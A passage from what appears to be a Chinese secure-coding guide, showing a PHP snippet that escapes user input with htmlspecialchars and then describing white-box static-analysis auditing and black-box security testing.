if($_GET['name']==NULL||$_GET['name']=='')
{
$isempty=true;
}else{
echo'<pre>';
echo'Hello'.htmlspecialchars($_GET['name']);
echo'</pre>';
}
?>
7.安全审计
7.1.白盒安全审计
安全应贯穿于整个软件生命周期,实现软件开发早期的安全编程,在该过程中需采用有效的手段,对软件代码的安全性进行自始至终的安全审计,及时发现软件开发过程中,由于编码问题而导致的安全隐患,并及时进行整改。
代码白盒审计(SCV)是指采用自动静态分析(ASA)技术扫描某个应用程序的源代码,通过甄别和定位可能存在的薄弱环节数量,以验证该应用程序完整性的校验过程。进行自动静态分析时无须运行或"执行"待分析的软件。这一特点就使自动静态分析技术在查询已知或未知交叉站点脚本(
XSS)和
SQL注入漏洞时更为高效,同时代码白盒审计过程能与应用软件开发并行也使其为应用程序提出修正意见成为可能,这不仅节约大量研发时间而且节省巨大的成本。
推荐使用专业"白盒代码审计系统",为软件开发人员自动提供详尽的软件脆弱性的分析、薄弱点发生源的追踪以及如何定位薄弱环节的建议,以帮助软件开发人员更好地理解网络应用程序安全性要求。
7.2.黑盒安全测试
在软件开发后期阶段,对已经成形的软件进行黑盒
安全检测,在对整个软件系统内部程序结构完全不解的情况下,输入数据与输出数据的对应关系出发,对目前主流的安全漏洞进行检测和验证,完全模拟用户操作行为,在与软件系统上线使用环境相同的情况下,能够更为客观和全面地发现软件系统自身的安全隐患。